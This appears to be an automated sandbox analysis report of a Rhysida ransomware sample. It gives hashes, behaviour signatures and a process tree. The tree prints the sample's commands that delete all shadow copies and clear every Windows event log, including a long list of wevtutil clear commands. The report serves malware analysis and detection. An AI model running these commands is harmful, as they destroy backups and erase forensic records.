Overview

overview

10

Static

static

10

2024-11-21...da.exe

windows7-x64

10

2024-11-21...da.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    21-11-2024 01:45

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    2024-11-21_ddaa09b5c3bf5aa24e300c24905469f2_rhysida.exe

  • Size

    497KB

  • MD5

    ddaa09b5c3bf5aa24e300c24905469f2

  • SHA1

    ebedfbe0a696bd87c4e2d27e3448a61f02bab021

  • SHA256

    f06b905626d742ec5a1eab8027d9097b74fd0413a901d0599eac8555d1f89e50

  • SHA512

    a1826d23ef54d75bdee465727f1609a12407923fdf951124f968ab204e92da079a73e71292f2eddb7f2187c169b422bb720df6cb185b8ca26111b324fd555db0

  • SSDEEP

    6144:yFoCbN9uRhQW8HnuYqWrJhN7L6aMFNYkS+D5gtuMf9opagj7T:/qnTp7N78Y5e5gUG9o/

Score
10/10
rhysidacredential_accessdefense_evasiondiscoveryevasionexecutionimpactpersistenceransomwarespywarestealer

Malware Config

Signatures

  • Detect Rhysida ransomware 5 IoCs
  • Rhysida

    Rhysida is a ransomware that is written in C++ and discovered in 2023.

    ransomwarerhysida
  • Rhysida family
    rhysida
  • Clears Windows event logs 1 TTPs 64 IoCs
    evasionransomware
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Renames multiple (8113) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

    credential_accessstealer
  • Drops startup file 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Hide Artifacts: Hidden Window 1 TTPs 2 IoCs

    Windows that would typically be displayed when an application carries out an operation can be hidden.

    defense_evasion
  • Indicator Removal: Clear Persistence 1 TTPs 2 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

    defense_evasion
  • Power Settings 1 TTPs 1 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

    persistence
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 64 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 3 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\2024-11-21_ddaa09b5c3bf5aa24e300c24905469f2_rhysida.exe
    "C:\Users\Admin\AppData\Local\Temp\2024-11-21_ddaa09b5c3bf5aa24e300c24905469f2_rhysida.exe"
    1⤵
    • Drops startup file
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:2168
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1240
      • C:\Windows\system32\cmd.exe
        cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1156
        • C:\Windows\system32\vssadmin.exe
          vssadmin.exe Delete Shadows /All /Quiet
          4⤵
          • Interacts with shadow copies
          PID:572
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cmd.exe /c for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3000
      • C:\Windows\system32\cmd.exe
        cmd.exe /c for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:776
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c wevtutil.exe el
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1400
          • C:\Windows\system32\wevtutil.exe
            wevtutil.exe el
            5⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:848
        • C:\Windows\system32\wevtutil.exe
          wevtutil.exe cl "Analytic"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1496
        • C:\Windows\system32\wevtutil.exe
          wevtutil.exe cl "Application"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2380
        • C:\Windows\system32\wevtutil.exe
          wevtutil.exe cl "DebugChannel"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2956
        • C:\Windows\system32\wevtutil.exe
          wevtutil.exe cl "DirectShowFilterGraph"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1392
        • C:\Windows\system32\wevtutil.exe
          wevtutil.exe cl "DirectShowPluginControl"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1588
        • C:\Windows\system32\wevtutil.exe
          wevtutil.exe cl "Els_Hyphenation/Analytic"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:616
        • C:\Windows\system32\wevtutil.exe
          wevtutil.exe cl "EndpointMapper"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2504
        • C:\Windows\system32\wevtutil.exe
          wevtutil.exe cl "ForwardedEvents"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1948
        • C:\Windows\system32\wevtutil.exe
          wevtutil.exe cl "HardwareEvents"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:3052
        • C:\Windows\system32\wevtutil.exe
          wevtutil.exe cl "Internet Explorer"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:680
        • C:\Windows\system32\wevtutil.exe
          wevtutil.exe cl "Key Management Service"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:676
        • C:\Windows\system32\wevtutil.exe
          wevtutil.exe cl "MF_MediaFoundationDeviceProxy"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:588
        • C:\Windows\system32\wevtutil.exe
          wevtutil.exe cl "Media Center"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2148
        • C:\Windows\system32\wevtutil.exe
          wevtutil.exe cl "MediaFoundationDeviceProxy"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1628
        • C:\Windows\system32\wevtutil.exe
          wevtutil.exe cl "MediaFoundationPerformance"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1556
        • C:\Windows\system32\wevtutil.exe
          wevtutil.exe cl "MediaFoundationPipeline"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1944
        • C:\Windows\system32\wevtutil.exe
          wevtutil.exe cl "MediaFoundationPlatform"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:884
        • C:\Windows\system32\wevtutil.exe
          wevtutil.exe cl "Microsoft-IE/Diagnostic"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2960
        • C:\Windows\system32\wevtutil.exe
          wevtutil.exe cl "Microsoft-IEDVTOOL/Diagnostic"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:632
        • C:\Windows\system32\wevtutil.exe
          wevtutil.exe cl "Microsoft-IEFRAME/Diagnostic"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2404
        • C:\Windows\system32\wevtutil.exe
          wevtutil.exe cl "Microsoft-JSDumpHeap/Diagnostic"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1656
        • C:\Windows\system32\wevtutil.exe
          wevtutil.exe cl "Microsoft-PerfTrack-IEFRAME/Diagnostic"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1596
        • C:\Windows\system32\wevtutil.exe
          wevtutil.exe cl "Microsoft-PerfTrack-MSHTML/Diagnostic"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1708
        • C:\Windows\system32\wevtutil.exe
          wevtutil.exe cl "Microsoft-Windows-ADSI/Debug"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:3068
        • C:\Windows\system32\wevtutil.exe
          wevtutil.exe cl "Microsoft-Windows-API-Tracing/Operational"
          4⤵
          • Clears Windows event logs
          • Suspicious use of AdjustPrivilegeToken
          PID:2980
        • C:\Windows\system32\wevtutil.exe
          wevtutil.exe cl "Microsoft-Windows-ATAPort/General"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:768
        • C:\Windows\system32\wevtutil.exe
          wevtutil.exe cl "Microsoft-Windows-ATAPort/SATA-LPM"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:560
        • C:\Windows\system32\wevtutil.exe
          wevtutil.exe cl "Microsoft-Windows-ActionQueue/Analytic"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:448
        • C:\Windows\system32\wevtutil.exe
          wevtutil.exe cl "Microsoft-Windows-AltTab/Diagnostic"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1952
        • C:\Windows\system32\wevtutil.exe
          wevtutil.exe cl "Microsoft-Windows-AppID/Operational"
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1700
        • C:\Windows\system32\wevtutil.exe
          wevtutil.exe cl "Microsoft-Windows-AppLocker/EXE and DLL"
          4⤵
            PID:1372
          • C:\Windows\system32\wevtutil.exe
            wevtutil.exe cl "Microsoft-Windows-AppLocker/MSI and Script"
            4⤵
              PID:1404
            • C:\Windows\system32\wevtutil.exe
              wevtutil.exe cl "Microsoft-Windows-Application Server-Applications/Admin"
              4⤵
                PID:1664
              • C:\Windows\system32\wevtutil.exe
                wevtutil.exe cl "Microsoft-Windows-Application Server-Applications/Analytic"
                4⤵
                  PID:2860
                • C:\Windows\system32\wevtutil.exe
                  wevtutil.exe cl "Microsoft-Windows-Application Server-Applications/Debug"
                  4⤵
                    PID:2768
                  • C:\Windows\system32\wevtutil.exe
                    wevtutil.exe cl "Microsoft-Windows-Application Server-Applications/Operational"
                    4⤵
                      PID:2176
                    • C:\Windows\system32\wevtutil.exe
                      wevtutil.exe cl "Microsoft-Windows-Application-Experience/Problem-Steps-Recorder"
                      4⤵
                        PID:916
                      • C:\Windows\system32\wevtutil.exe
                        wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Compatibility-Assistant"
                        4⤵
                        • Clears Windows event logs
                        PID:2524
                      • C:\Windows\system32\wevtutil.exe
                        wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Compatibility-Troubleshooter"
                        4⤵
                        • Clears Windows event logs
                        PID:2288
                      • C:\Windows\system32\wevtutil.exe
                        wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Inventory"
                        4⤵
                          PID:2920
                        • C:\Windows\system32\wevtutil.exe
                          wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Inventory/Debug"
                          4⤵
                            PID:2624
                          • C:\Windows\system32\wevtutil.exe
                            wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Telemetry"
                            4⤵
                              PID:1092
                            • C:\Windows\system32\wevtutil.exe
                              wevtutil.exe cl "Microsoft-Windows-Audio/CaptureMonitor"
                              4⤵
                                PID:2760
                              • C:\Windows\system32\wevtutil.exe
                                wevtutil.exe cl "Microsoft-Windows-Audio/Operational"
                                4⤵
                                  PID:2664
                                • C:\Windows\system32\wevtutil.exe
                                  wevtutil.exe cl "Microsoft-Windows-Audio/Performance"
                                  4⤵
                                    PID:1928
                                  • C:\Windows\system32\wevtutil.exe
                                    wevtutil.exe cl "Microsoft-Windows-Audit/Analytic"
                                    4⤵
                                    • Clears Windows event logs
                                    PID:1512
                                  • C:\Windows\system32\wevtutil.exe
                                    wevtutil.exe cl "Microsoft-Windows-Authentication User Interface/Operational"
                                    4⤵
                                    • Clears Windows event logs
                                    PID:2428
                                  • C:\Windows\system32\wevtutil.exe
                                    wevtutil.exe cl "Microsoft-Windows-AxInstallService/Log"
                                    4⤵
                                      PID:1808
                                    • C:\Windows\system32\wevtutil.exe
                                      wevtutil.exe cl "Microsoft-Windows-Backup"
                                      4⤵
                                      • Clears Windows event logs
                                      PID:2800
                                    • C:\Windows\system32\wevtutil.exe
                                      wevtutil.exe cl "Microsoft-Windows-Biometrics/Operational"
                                      4⤵
                                        PID:2736
                                      • C:\Windows\system32\wevtutil.exe
                                        wevtutil.exe cl "Microsoft-Windows-BitLocker-DrivePreparationTool/Admin"
                                        4⤵
                                        • Clears Windows event logs
                                        PID:2580
                                      • C:\Windows\system32\wevtutil.exe
                                        wevtutil.exe cl "Microsoft-Windows-BitLocker-DrivePreparationTool/Operational"
                                        4⤵
                                          PID:1280
                                        • C:\Windows\system32\wevtutil.exe
                                          wevtutil.exe cl "Microsoft-Windows-Bits-Client/Analytic"
                                          4⤵
                                            PID:2272
                                          • C:\Windows\system32\wevtutil.exe
                                            wevtutil.exe cl "Microsoft-Windows-Bits-Client/Operational"
                                            4⤵
                                              PID:2752
                                            • C:\Windows\system32\wevtutil.exe
                                              wevtutil.exe cl "Microsoft-Windows-Bluetooth-MTPEnum/Operational"
                                              4⤵
                                                PID:484
                                              • C:\Windows\system32\wevtutil.exe
                                                wevtutil.exe cl "Microsoft-Windows-BranchCache/Operational"
                                                4⤵
                                                  PID:2044
                                                • C:\Windows\system32\wevtutil.exe
                                                  wevtutil.exe cl "Microsoft-Windows-BranchCacheClientEventProvider/Diagnostic"
                                                  4⤵
                                                  • Clears Windows event logs
                                                  PID:2424
                                                • C:\Windows\system32\wevtutil.exe
                                                  wevtutil.exe cl "Microsoft-Windows-BranchCacheEventProvider/Diagnostic"
                                                  4⤵
                                                    PID:2000
                                                  • C:\Windows\system32\wevtutil.exe
                                                    wevtutil.exe cl "Microsoft-Windows-BranchCacheSMB/Analytic"
                                                    4⤵
                                                      PID:2652
                                                    • C:\Windows\system32\wevtutil.exe
                                                      wevtutil.exe cl "Microsoft-Windows-BranchCacheSMB/Operational"
                                                      4⤵
                                                        PID:1332
                                                      • C:\Windows\system32\wevtutil.exe
                                                        wevtutil.exe cl "Microsoft-Windows-CAPI2/Operational"
                                                        4⤵
                                                          PID:1920
                                                        • C:\Windows\system32\wevtutil.exe
                                                          wevtutil.exe cl "Microsoft-Windows-CDROM/Operational"
                                                          4⤵
                                                            PID:2904
                                                          • C:\Windows\system32\wevtutil.exe
                                                            wevtutil.exe cl "Microsoft-Windows-COM/Analytic"
                                                            4⤵
                                                            • Clears Windows event logs
                                                            PID:1584
                                                          • C:\Windows\system32\wevtutil.exe
                                                            wevtutil.exe cl "Microsoft-Windows-COMRuntime/Tracing"
                                                            4⤵
                                                              PID:2180
                                                            • C:\Windows\system32\wevtutil.exe
                                                              wevtutil.exe cl "Microsoft-Windows-Calculator/Debug"
                                                              4⤵
                                                                PID:2164
                                                              • C:\Windows\system32\wevtutil.exe
                                                                wevtutil.exe cl "Microsoft-Windows-Calculator/Diagnostic"
                                                                4⤵
                                                                • Clears Windows event logs
                                                                PID:2784
                                                              • C:\Windows\system32\wevtutil.exe
                                                                wevtutil.exe cl "Microsoft-Windows-CertPoleEng/Operational"
                                                                4⤵
                                                                  PID:2192
                                                                • C:\Windows\system32\wevtutil.exe
                                                                  wevtutil.exe cl "Microsoft-Windows-CertificateServicesClient-CredentialRoaming/Operational"
                                                                  4⤵
                                                                    PID:2588
                                                                  • C:\Windows\system32\wevtutil.exe
                                                                    wevtutil.exe cl "Microsoft-Windows-ClearTypeTextTuner/Diagnostic"
                                                                    4⤵
                                                                      PID:2436
                                                                    • C:\Windows\system32\wevtutil.exe
                                                                      wevtutil.exe cl "Microsoft-Windows-CmiSetup/Analytic"
                                                                      4⤵
                                                                        PID:1524
                                                                      • C:\Windows\system32\wevtutil.exe
                                                                        wevtutil.exe cl "Microsoft-Windows-CodeIntegrity/Operational"
                                                                        4⤵
                                                                          PID:2916
                                                                        • C:\Windows\system32\wevtutil.exe
                                                                          wevtutil.exe cl "Microsoft-Windows-CodeIntegrity/Verbose"
                                                                          4⤵
                                                                            PID:1440
                                                                          • C:\Windows\system32\wevtutil.exe
                                                                            wevtutil.exe cl "Microsoft-Windows-ComDlg32/Analytic"
                                                                            4⤵
                                                                              PID:2620
                                                                            • C:\Windows\system32\wevtutil.exe
                                                                              wevtutil.exe cl "Microsoft-Windows-ComDlg32/Debug"
                                                                              4⤵
                                                                                PID:2636
                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                wevtutil.exe cl "Microsoft-Windows-CorruptedFileRecovery-Client/Operational"
                                                                                4⤵
                                                                                  PID:2452
                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                  wevtutil.exe cl "Microsoft-Windows-CorruptedFileRecovery-Server/Operational"
                                                                                  4⤵
                                                                                    PID:3060
                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                    wevtutil.exe cl "Microsoft-Windows-CredUI/Diagnostic"
                                                                                    4⤵
                                                                                      PID:2640
                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                      wevtutil.exe cl "Microsoft-Windows-Crypto-RNG/Analytic"
                                                                                      4⤵
                                                                                        PID:1492
                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                        wevtutil.exe cl "Microsoft-Windows-D3D10Level9/Analytic"
                                                                                        4⤵
                                                                                        • Clears Windows event logs
                                                                                        PID:2604
                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                        wevtutil.exe cl "Microsoft-Windows-D3D10Level9/PerfTiming"
                                                                                        4⤵
                                                                                          PID:2812
                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                          wevtutil.exe cl "Microsoft-Windows-DCLocator/Debug"
                                                                                          4⤵
                                                                                            PID:2816
                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                            wevtutil.exe cl "Microsoft-Windows-DNS-Client/Operational"
                                                                                            4⤵
                                                                                              PID:300
                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                              wevtutil.exe cl "Microsoft-Windows-DUI/Diagnostic"
                                                                                              4⤵
                                                                                                PID:3040
                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                wevtutil.exe cl "Microsoft-Windows-DUSER/Diagnostic"
                                                                                                4⤵
                                                                                                  PID:2744
                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                  wevtutil.exe cl "Microsoft-Windows-DXGI/Analytic"
                                                                                                  4⤵
                                                                                                    PID:2940
                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                    wevtutil.exe cl "Microsoft-Windows-DXGI/Logging"
                                                                                                    4⤵
                                                                                                      PID:596
                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                      wevtutil.exe cl "Microsoft-Windows-DXP/Analytic"
                                                                                                      4⤵
                                                                                                        PID:620
                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                        wevtutil.exe cl "Microsoft-Windows-DateTimeControlPanel/Analytic"
                                                                                                        4⤵
                                                                                                          PID:1396
                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                          wevtutil.exe cl "Microsoft-Windows-DateTimeControlPanel/Debug"
                                                                                                          4⤵
                                                                                                            PID:1108
                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                            wevtutil.exe cl "Microsoft-Windows-DateTimeControlPanel/Operational"
                                                                                                            4⤵
                                                                                                              PID:2868
                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                              wevtutil.exe cl "Microsoft-Windows-Deplorch/Analytic"
                                                                                                              4⤵
                                                                                                              • Clears Windows event logs
                                                                                                              PID:2456
                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                              wevtutil.exe cl "Microsoft-Windows-DeviceSync/Analytic"
                                                                                                              4⤵
                                                                                                              • Clears Windows event logs
                                                                                                              PID:888
                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                              wevtutil.exe cl "Microsoft-Windows-DeviceSync/Operational"
                                                                                                              4⤵
                                                                                                                PID:1652
                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                wevtutil.exe cl "Microsoft-Windows-DeviceUx/Informational"
                                                                                                                4⤵
                                                                                                                • Clears Windows event logs
                                                                                                                PID:3016
                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                wevtutil.exe cl "Microsoft-Windows-DeviceUx/Performance"
                                                                                                                4⤵
                                                                                                                  PID:1152
                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                  wevtutil.exe cl "Microsoft-Windows-Dhcp-Client/Admin"
                                                                                                                  4⤵
                                                                                                                  • Clears Windows event logs
                                                                                                                  PID:540
                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                  wevtutil.exe cl "Microsoft-Windows-Dhcp-Client/Operational"
                                                                                                                  4⤵
                                                                                                                    PID:2544
                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                    wevtutil.exe cl "Microsoft-Windows-DhcpNap/Admin"
                                                                                                                    4⤵
                                                                                                                      PID:2392
                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                      wevtutil.exe cl "Microsoft-Windows-DhcpNap/Operational"
                                                                                                                      4⤵
                                                                                                                        PID:2384
                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                        wevtutil.exe cl "Microsoft-Windows-Dhcpv6-Client/Admin"
                                                                                                                        4⤵
                                                                                                                          PID:980
                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                          wevtutil.exe cl "Microsoft-Windows-Dhcpv6-Client/Operational"
                                                                                                                          4⤵
                                                                                                                            PID:2892
                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                            wevtutil.exe cl "Microsoft-Windows-DiagCpl/Debug"
                                                                                                                            4⤵
                                                                                                                            • Clears Windows event logs
                                                                                                                            PID:1812
                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                            wevtutil.exe cl "Microsoft-Windows-Diagnosis-DPS/Analytic"
                                                                                                                            4⤵
                                                                                                                              PID:2832
                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                              wevtutil.exe cl "Microsoft-Windows-Diagnosis-DPS/Debug"
                                                                                                                              4⤵
                                                                                                                                PID:2696
                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                wevtutil.exe cl "Microsoft-Windows-Diagnosis-DPS/Operational"
                                                                                                                                4⤵
                                                                                                                                  PID:204
                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-Diagnosis-MSDE/Debug"
                                                                                                                                  4⤵
                                                                                                                                    PID:216
                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-Diagnosis-PCW/Analytic"
                                                                                                                                    4⤵
                                                                                                                                      PID:228
                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-Diagnosis-PCW/Debug"
                                                                                                                                      4⤵
                                                                                                                                        PID:1564
                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-Diagnosis-PCW/Operational"
                                                                                                                                        4⤵
                                                                                                                                          PID:2968
                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-Diagnosis-PLA/Debug"
                                                                                                                                          4⤵
                                                                                                                                            PID:2836
                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-Diagnosis-PLA/Operational"
                                                                                                                                            4⤵
                                                                                                                                              PID:1240
                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-Diagnosis-Perfhost/Analytic"
                                                                                                                                              4⤵
                                                                                                                                                PID:1936
                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scheduled/Operational"
                                                                                                                                                4⤵
                                                                                                                                                  PID:848
                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scripted/Admin"
                                                                                                                                                  4⤵
                                                                                                                                                    PID:1744
                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scripted/Analytic"
                                                                                                                                                    4⤵
                                                                                                                                                      PID:1536
                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scripted/Debug"
                                                                                                                                                      4⤵
                                                                                                                                                        PID:1500
                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scripted/Operational"
                                                                                                                                                        4⤵
                                                                                                                                                          PID:912
                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-Diagnosis-ScriptedDiagnosticsProvider/Debug"
                                                                                                                                                          4⤵
                                                                                                                                                            PID:2500
                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-Diagnosis-ScriptedDiagnosticsProvider/Operational"
                                                                                                                                                            4⤵
                                                                                                                                                              PID:796
                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-Diagnosis-TaskManager/Debug"
                                                                                                                                                              4⤵
                                                                                                                                                                PID:2600
                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-Diagnosis-WDC/Analytic"
                                                                                                                                                                4⤵
                                                                                                                                                                  PID:2504
                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-Diagnosis-WDI/Debug"
                                                                                                                                                                  4⤵
                                                                                                                                                                    PID:1948
                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-Diagnostics-Networking/Debug"
                                                                                                                                                                    4⤵
                                                                                                                                                                      PID:3052
                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-Diagnostics-Networking/Operational"
                                                                                                                                                                      4⤵
                                                                                                                                                                        PID:680
                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-Diagnostics-PerfTrack-Counters/Diagnostic"
                                                                                                                                                                        4⤵
                                                                                                                                                                          PID:676
                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-Diagnostics-PerfTrack/Diagnostic"
                                                                                                                                                                          4⤵
                                                                                                                                                                            PID:588
                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-Diagnostics-Performance/Diagnostic"
                                                                                                                                                                            4⤵
                                                                                                                                                                              PID:2148
                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-Diagnostics-Performance/Diagnostic/Loopback"
                                                                                                                                                                              4⤵
                                                                                                                                                                                PID:1628
                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-Diagnostics-Performance/Operational"
                                                                                                                                                                                4⤵
                                                                                                                                                                                  PID:1556
                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-Direct3D10/Analytic"
                                                                                                                                                                                  4⤵
                                                                                                                                                                                    PID:1944
                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-Direct3D10_1/Analytic"
                                                                                                                                                                                    4⤵
                                                                                                                                                                                      PID:884
                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-Direct3D11/Analytic"
                                                                                                                                                                                      4⤵
                                                                                                                                                                                        PID:900
                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-Direct3D11/Logging"
                                                                                                                                                                                        4⤵
                                                                                                                                                                                          PID:1884
                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-Direct3D11/PerfTiming"
                                                                                                                                                                                          4⤵
                                                                                                                                                                                            PID:2284
                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-DirectShow-KernelSupport/Performance"
                                                                                                                                                                                            4⤵
                                                                                                                                                                                            • Clears Windows event logs
                                                                                                                                                                                            PID:1048
